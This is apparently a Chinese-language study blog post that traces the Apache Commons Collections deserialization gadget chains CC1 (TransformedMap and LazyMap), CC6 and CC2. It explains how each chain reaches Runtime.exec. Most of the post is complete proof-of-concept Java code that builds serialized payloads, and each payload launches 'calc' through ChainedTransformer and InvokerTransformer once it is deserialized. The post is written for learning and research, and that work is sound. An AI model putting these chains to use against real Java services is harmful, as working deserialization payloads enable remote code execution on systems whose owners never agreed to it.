CC1
漏洞影响:Commons Collections<=3.2.1 jdk<8u71
TransformerMap链
my environment:
jdk_1.8.0_65 8u65
dependency:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
CC1 链的关键在三个实现了Transformer接⼝的类 ChainedTransformer ConstantTransformer InvokerTransformer,Transformer 顾名思义就是一个转换器用来处理传入的对象,然后将处理完的对象返回
CommonsCollections 介绍
Apache Commons Collections是一个扩展了Java
标准库里的Collection
结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类,被广泛运用于各种Java
应用的开发,目前常说的存在缺陷的版本是Apache Commons Collections 3.2.1
以下(4.0版本也是存在的)
也正式因为这个库,引入了很多恶意的代码,使得发生反序列化攻击
package org.apache.commons.collections;
public interface Transformer {
public Object transform(Object input);
}
这个是接口类Transformer,需要重写这个类,并且接入继承这个类的类必须实现输入一个Object类型,然后返回一个Object类。
通过查看继承层次结构图,我们找到了InvokerTransformer类(当然不止这一个类),在第119行,InvokerTransformer类重写了transform方法,并且该类还继承了Serializable序列化接口。
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
并且我们查看这个类的构造方法:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
看道这里就有点眉目了,发现他的构造参数可以控制,并且有getMethod方法。通过反射实现命令执行
其中为什么InvokerTransformer的第二个和第三个参数位数组是因为构造函数为数组
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[] {String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);
}
}
开始回溯,想办法找到一个readObject的链子调用它,并且使它的参数可以控制。
第一步找寻找调用transform()的类的方法(Alt+F7)
跟进这个类:
看它的构造函数:
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
和调用transform这的函数checkValue:
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
我们发现checkValue函数权限是projected不可以访问的,valueTransformer也是protected不可以访问的,只可以在内部访问。而且构造函数也是protected,我们就继续查看是谁调用了构造函数,发现decorate函数调用了:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
用下列语句poc,可以给checkValue函数里面的valueTransformer赋值为我们自定义的InvokerTransformer类:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
// Runtime runtime = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[] {String.class},new Object[]{"calc"}); // 第二参数是
// invokerTransformer.transform(runtime);
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>(); //这个直接实例化一个HashMap
}
}
现在我们只用找到一个函数调用protected属性的checkValue函数即可完成:
跟进checkValue函数
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
而在AbstractMapEntryDecorator这个类中又接入了这个类,调用setValue。完整整条链子
为什么用for循环:
最终POC:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
// Runtime runtime = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[] {String.class},new Object[]{"calc"}); // 第二参数是
// invokerTransformer.transform(runtime);
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>(); //这个直接实例化一个HashMap
map.put("key","value");
Map<Object,Object> tranformerMap = TransformedMap.decorate(map,null,invokerTransformer);
for (Map.Entry entry:tranformerMap.entrySet()){
entry.setValue(runtime);
}
}
}
接下来要解决readObject自动调用的问题,我们继续找函数setValue的用法,看那个类的readObject调用了setValue函数
找到一个类AnnotationInvocationHandler的readObject函数可以自动调用setValue函数方法:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
看看这个类的构造方法:
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
然后可以看到membervalue可以控制
然后发现类为private,只能在sun.reflect.annotation这个本包下被调用,我们如果想外部调用,需要用反射来实现外部调用。
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.function.Function;
public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
// Runtime runtime = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[] {String.class},new Object[]{"calc"}); // 第二参数是
// invokerTransformer.transform(runtime);
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>(); //这个直接实例化一个HashMap
map.put("key","value");
Map<Object,Object> tranformerMap = TransformedMap.decorate(map,null,invokerTransformer);
// for (Map.Entry entry:tranformerMap.entrySet()){
// entry.setValue(runtime);
// }
//获取对象 Class Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//取构造函数
Constructor declaredConstructors = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructors.setAccessible(true);
// 实例化对象
Object o = declaredConstructors.newInstance(Override.class, tranformerMap);
serlize(o);
unserialize("cc1.bin");
// ByteOutputStream byteOutputStream = new ByteOutputStream();
// ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
// objectOutputStream.writeObject(o);
// byte[] bytes =byteOutputStream.getBytes();
// Base64.Encoder encoder = Base64.getEncoder();
// String s = encoder.encodeToString(bytes);
// System.out.println(s);
}
public static void serlize(Object object) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
objectOutputStream.writeObject(object);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
反弹计算机失败
一:
Runtime没有序列化接口,是不能序列化的,我们要解决这个问题:
我们可以用它的原型类,它的原型类Class是存在serilizable接口的,可以反序列化。
我们用InvokerTransformer来解决这个问题
我们现在重写整个链子,用Transfomer来实现Runtime类的加载,是其能被反序列化。
Runtime getRuntime = Runtime.getRuntime();
Class run = getRuntime.getClass();
//获取类的原型
Method method = run.getDeclaredMethod("getRuntime",null);
Object r = method.invoke(null, null);
Method exec = run.getDeclaredMethod("exec",String.class);
exec.invoke(r,"calc");
用Transfomer类实现上述代码:
两种方法:
Runtime a = Runtime.getRuntime();
Class runtimeClass = a.getClass();
Object getDeclaredMethod = new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(runtimeClass);
Runtime runtime1 = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},
new Object[]{null, null}).transform(getDeclaredMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
Method method = run.getMethod("exec");
Class runtimeClass = Class.forName("java.lang.Runtime");
Transformer[] Transformers=new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
chainedTransformer.transform(Runtime.class);
在前面就观察道了setValue的值,并不能让我随便控制,现在解决一下这个问题:
debug的时候还发现一个问题,进入不了checkvalue。
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.nio.channels.ClosedSelectorException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.function.Function;
public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
// Runtime runtime = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[] {String.class},new Object[]{"calc"}); // 第二参数是
// invokerTransformer.transform(runtime);
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>(); //这个直接实例化一个HashMap
map.put("value","value");
Map<Object,Object> tranformerMap = TransformedMap.decorate(map,null,invokerTransformer);
// for (Map.Entry entry:tranformerMap.entrySet()){
// entry.setValue(runtime);
// }
//获取对象 Class Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//取构造函数
Constructor declaredConstructors = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructors.setAccessible(true);
// 实例化对象
Object o = declaredConstructors.newInstance(Target.class, tranformerMap);
serlize(o);
unserialize("cc1.bin");
// ByteOutputStream byteOutputStream = new ByteOutputStream();
// ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
// objectOutputStream.writeObject(o);
// byte[] bytes =byteOutputStream.getBytes();
// Base64.Encoder encoder = Base64.getEncoder();
// String s = encoder.encodeToString(bytes);
// System.out.println(s);
// Runtime getRuntime = Runtime.getRuntime();
// Class run = getRuntime.getClass();
// Method method = run.getDeclaredMethod("getRuntime",null);
// Object r1 = method.invoke(null, null);
// Method exec = run.getDeclaredMethod("exec",String.class);
// exec.invoke(r1,"calc");
// Runtime a = Runtime.getRuntime();
// Class runtimeClass = a.getClass();
// Object getDeclaredMethod = new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(runtimeClass);
// Runtime runtime1 = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},
// new Object[]{null, null}).transform(getDeclaredMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
// Method method = run.getMethod("exec");
//
//
// Class<?> runtime1 = Class.forName("java.lang.Runtime");
// //创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历
// Transformer[] Transformers=new Transformer[]{
// new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
// new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
// };
// //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
// ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
// chainedTransformer.transform(runtime1);
}
public static void serlize(Object object) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
objectOutputStream.writeObject(object);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
进入不了checkValue是因为那个值为空值,我们可以用ConstantTransformer类来实现它,这个ConstantTransformer类,你传入什么,就返回什么东西。
解决无法控制setValue的问题,我们可以用类
最终POC:
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.nio.channels.ClosedSelectorException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.function.Function;
public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
Class<?> runtime = Class.forName("java.lang.Runtime");
//创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历
Transformer[] Transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object object = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
serialize(object);
unserialize("CC1.txt");
}
//定义序列化方法
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
oos.writeObject(object);
}
//定义反序列化方法
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
LazyMap链
LazyMap链还用到了动态代理,也算是一个java反序列化的基础
动态代理:
import classes.com.example.demo.Ping;
import com.sun.deploy.pings.Pings;
import jdk.internal.org.objectweb.asm.commons.Method;
import sun.plugin2.message.ShowDocumentMessage;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class Exp implements IUser {
public static void main(String[] args){
InvocationHandler handler = new InvocationHandler() {
@Override
public Object invoke(Object proxy, java.lang.reflect.Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("show")) //无参数
{
System.out.println("Good moring");
}
return null;
}
};
IUser iuser=(IUser) Proxy.newProxyInstance(IUser.class.getClassLoader(),new Class[]{IUser.class},handler);
iuser.show();
} // 重新定义一个handler接口
@Override
public void show() {
}
}
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.time.chrono.IsoEra;
import java.util.logging.Handler;
public class UserPeoxy implements IUser{
public static void main(String[] args) {
InvocationHandler handler = new InvocationHandler(){
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("show"))
{
System.out.println("Hello Harder");
}
return null;
}
};
IUser iuser= (IUser)Proxy.newProxyInstance(IUser.class.getClassLoader(),new Class[]{IUser.class},handler);
iuser.show();
}
@Override
public void show() {
}
}
最后用的还是transform方法触发的链子,和CC1的TransfromerMap链子不一样的地方有这不是setValue函数在调用checkvalue调用的transform,而LazyMap是get方法里的transfom
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1_LazyMap {
public static void main(String[] args) throws Exception, IOException {
String cmd = "calc";
//构造恶意调用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "key");
Map outerMap = LazyMap.decorate(innermap,chainedTransformer);//取代 TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null, chainedTransformer);//decorateTransform也可以,中间的参数可以为null或chainedTransformer
//反射构造AnnotationInvocationHandler的实例并且序列化为payload
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class,outerMap);
//动态代理触发AnnotationInvocationHandler类的invoke方法
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},invocationHandler);
////用AnnotationInvocationHandler对proxyMap进行包裹
Object o = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);
//序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1-2.txt"));
oos.writeObject(o);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc1-2.txt"));
System.out.println(ois.readObject());
}
}
CC6
漏洞影响:Commons Collections<=3.2.1 jdk1.7,1.8 影响比较大的一条链
在Java 8u71以后,CC1链就不能在利用了
这个有两条路吧:
和CC1的LazyMap链特别相识,但是由于重写了invocationHandler的readObject的逻辑,所以导致触发不了get方法
import com.sun.corba.se.impl.orbutil.closure.Constant;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.naming.ldap.Control;
import javax.xml.crypto.dsig.Transform;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Collection;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CommonsCollections6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
// Transformer[] transformers = {
// new ConstantTransformer(Runtime.class),
// new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
// };
// ChainedTransformer ct = new ChainedTransformer(transformers);
// //t.transform(1); // 调用transform函数 实现calc
//
// Map map = LazyMap.decorate(new HashMap(),ct);
// TiedMapEntry tiedMapEntry = new TiedMapEntry(map,"key"); //
// HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
// objectObjectHashMap.put(tiedMapEntry,"value");
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");
lazymap.remove("2");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, ct);
}
// private static void serilaize() {
// }
public static void serilaize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("cc6.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
}
public static void unserilize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream(filename);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
objectInputStream.close();
}
}
参考:
https://www.cnblogs.com/CVE-Lemon/p/17935937.html
CC2
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
</dependencies>
更新新的依赖commons-collection4
针对commons-collection4其实ysoserial给了两条链子:CC2和CC4
然后再IDEA中重新下周commons-collection4的源码:
在 IntelliJ IDEA 中手动下载依赖库的源码,你可以按照以下步骤操作:
-
打开Maven项目窗口:首先,确保你的项目是以Maven项目导入到IDEA中的。在IDEA的右侧边栏中,你应该能看到一个名为 "Maven" 的工具窗口。如果看不到,可以通过点击顶部菜单的 View -> Tool Windows -> Maven 来打开。
-
找到依赖库:在Maven工具窗口中,展开项目名称下的 "Dependencies" 节点。这里列出了项目中所有的依赖库。
-
下载源码:找到你想要下载源码的依赖库,右键点击它,然后选择 "Download Sources"。IDEA会尝试从配置的仓库中下载该依赖库的源码。
-
等待下载完成:下载源码可能需要一些时间,具体取决于源码包的大小和你的网络速度。完成后,IDEA会自动关联这些源码到对应的库,这样你就可以直接在IDEA中查看这些源码了。
如果IDEA无法下载某个库的源码,可能是因为该库的源码没有在Maven中央仓库或你配置的私有仓库中提供。这种情况下,你可能需要手动从项目网站或其他地方下载源码包,并在IDEA中手动关联这些源码。
common-collections4依赖中的TransformingComparator类
这个是common-collections4独有的类,我们跟着这个类走。
发现其中有方法compare方法可以调用Transfrom类
同时这个类的Transfrom是可以控制的,我们找一个类可以控制调用compare就行了
找到一个类PriorityQueue做为反序列化的入口:
这个方法进行跟进:
继续看siftDown链子
如果comparator不为空,我们进入siftDownUsingComparator类
在这我们能控制comparator为我们TransfromingComparator类进行了
结合一下之前的链子POC:
这还需要用add或者offer进行给两个值
这就是大概的链子:
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import javax.xml.crypto.dsig.Transform;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.InputMismatchException;
import java.util.PriorityQueue;
public class CommonsCollection2 {
public static void main(String[] args) {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}),
};
// System.out.println(transformer);
Transformer chaintransformer = new ChainedTransformer(transformer);
TransformingComparator comparator = new TransformingComparator(chaintransformer);
PriorityQueue queue = new PriorityQueue(2,comparator);
queue.add(1);
queue.add(2);//调用offer()方法随便给队列中添加两个参数,调用add()也可以,add()最后也是调用的offer()方法。
try{
FileOutputStream filepath = new FileOutputStream("./CC2.ser"); // 序列化
ObjectOutputStream object = new ObjectOutputStream(filepath);
object.writeObject(queue);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("./CC1.ser")); //序列化
objectInputStream.read();
}
catch (Exception e){
e.printStackTrace();
}
}
}
神图:
有点不理解,和这篇文章有点分歧:
https://xz.aliyun.com/t/10387?time__1311=mq%2BxBDyDu7G%3DI405DIYxrDcDmE%3DWqqTOO4D&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F (我太菜了)
最终POC:
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import javax.xml.crypto.dsig.Transform;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.InputMismatchException;
import java.util.PriorityQueue;
public class CommonsCollection2 {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}),
};
// System.out.println(transformer);
// Transformer chaintransformer = new ChainedTransformer(transformer);
//
// TransformingComparator comparator = new TransformingComparator(chaintransformer);
// PriorityQueue queue = new PriorityQueue(2,comparator);
// queue.add(1);
// queue.add(2);//调用offer()方法随便给队列中添加两个参数,调用add()也可以,add()最后也是调用的offer()方法。
Transformer chaintransformer = new ChainedTransformer(transformer);
TransformingComparator comparator = new TransformingComparator(chaintransformer);
PriorityQueue queue = new PriorityQueue(1);//创建实例。注意下面的顺序改变了。
queue.add(1);
queue.add(2);//传入两个参数
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");//反射获取成员变量的field
field.setAccessible(true);//获取访问权限
field.set(queue,comparator);//设置参数
try{
FileOutputStream filepath = new FileOutputStream("./CC2.ser"); // 序列化
ObjectOutputStream object = new ObjectOutputStream(filepath);
object.writeObject(queue);
////
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("./CC2.ser")); //序列化
objectInputStream.readObject();
}
catch (Exception e){
e.printStackTrace();
}
}
}
TemplatesImpl的newTransformerCC2方法
已经学过了类加载机制,在来学一遍OnceAgain
参考:https://blog.csdn.net/2301_79724395/article/details/137886211
动态字节码加载
具体是在于三个函数
不管是远程加载class文件,还是本地加载class或是jar文件,Java中经历的都是下面这三个方法的调用过程
loadClass()->findClass()->defineClass()
loadClass()从已经加载的类缓存、父加载器等位置寻找类(其实就是双亲委派机制),在前面没有找到的情况下执行findClass
findClass()根据基础URL指定的方法来加载类的字节码,可能会在本地文件系统,jar包,或是远程http服务器上读取字节码,然后交给下一个函数
defineClass()
defineClass()的作用就是处理前面传入的字节码,将其处理为真正的Java类。
你看看,不久动态起来了吗。会根据不同的情况继续不同类型的加载
但是最关键的部分还得是ClassLoader#defineClass(),因为无论什么时候,它都是可以的
Javassit补充
参考:
